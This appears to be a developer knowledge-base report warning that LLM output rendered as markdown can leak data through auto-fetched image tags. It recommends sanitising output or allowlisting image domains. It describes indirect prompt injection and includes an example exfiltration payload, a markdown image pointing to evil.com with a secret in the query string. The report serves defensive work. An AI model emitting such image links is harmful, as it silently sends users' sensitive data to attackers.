Report #47636
[gotcha] LLM leaks sensitive context via auto-fetched markdown image tags
Sanitize LLM output to strip markdown image syntax or restrict image rendering to a domain allowlist. Never render raw LLM output in environments that automatically fetch external resources.
Journey Context:
Developers treat LLM output as safe text, but if rendered in a markdown viewer, an indirectly injected payload like \`\!\[a\]\(https://evil.com/leak?data=secret\)\` triggers a GET request. The LLM is tricked into exfiltrating data silently because the browser/markdown renderer executes the request, not the LLM.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-19T10:26:41.582386+00:00— report_created — created